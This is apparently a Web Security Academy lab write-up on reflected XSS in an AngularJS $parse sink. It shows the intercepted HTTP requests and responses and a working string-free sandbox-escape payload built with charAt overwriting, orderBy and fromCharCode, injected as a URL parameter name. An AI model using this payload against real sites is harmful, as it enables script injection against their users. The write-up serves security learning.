Reflected XSS with AngularJS sandbox escape without strings

Description

This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.

To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function.

Approach

After accessing the lab, I intercepted the search request, which had an interesting response:

GET /?search=ichyaboy HTTP/1.1
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...

The response contained this script:

<script>
	angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
	$scope.query = {};
	var key = 'search';
	$scope.query[key] = 'ichyaboy';
	$scope.value = $parse(key)($scope.query);
	});
</script>

I noticed that my input data is being passed as a value to the $scope.query[key] variable, but the interesting part is this line:

$scope.value = $parse(key)($scope.query);

It parses the key, which in this case is the search parameter, and then evaluates it with $scope.query. Since this part is parsed, it is where the injection should occur. To confirm this, I added a new parameter to create a new key and tried injecting an AngularJS expression to see if it gets parsed properly:

GET /?search=1&ichyaboy=6 HTTP/2
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
...

I added a new parameter called ichyaboy with the value 6. Checking the response:

<script>
	angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
	$scope.query = {};
	var key = 'search';
	$scope.query[key] = '1';
	$scope.value = $parse(key)($scope.query);
	var key = 'ichyaboy';
	$scope.query[key] = '6';
	$scope.value = $parse(key)($scope.query);
	});
</script>

A new key is added. Now, I will inject an Angular expression instead of the ichyaboy key:

GET /?search=1&3%2b3=3 HTTP/2
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
...

The payload was simply 3+3, but I had to URL-encode the + character. Checking the response, I see that it prints the result:

4 search results for 6

Note: I didn't use {{}} in the payload to declare an expression because the parse function treats its argument as an expression, so I typed my payload directly.

The injection of the Angular expression is confirmed, but the main goal is to run JavaScript code that triggers an alert. Simple Angular expressions can't do that due to the AngularJS sandbox. First, I need to escape this sandbox, then go for the XSS.

Consulting the XSS cheat sheet from PortSwigger, under "AngularJS sandbox escapes reflected," I found a payload to bypass the sandbox without using strings:

toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

This payload contains 2 parts:

  • toString().constructor.prototype.charAt=[].join;: This part escapes the sandbox by overwriting the charAt function, which normally parses a single character and passes it to the isIdent function. By overwriting charAt, it passes multiple characters instead, causing the isIdent function to always return true.

isIdent= function(ch) {
    return ('a' <= ch && ch <= 'z' ||
            'A' <= ch && ch <= 'Z' ||
            '_' === ch || ch === '$');
  }
isIdent('x9=9a9l9e9r9t9(919)')
  • [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41): This part filters the array [1,2] using the | character and the orderBy function. It constructs the string x=alert(1) using fromCharCode to bypass string restrictions. When executed, it looks like:

[1,2]|orderBy:'x=alert(1)'

These steps are necessary to bypass the sandbox filters.

Now, I need to inject this payload into a new parameter to create a new key that will be parsed and executed, resulting in an XSS:

GET /?search=1&toString().constructor.prototype.charAt%3d[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=3 HTTP/2
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
...

After sending this request, I saw that the lab was solved.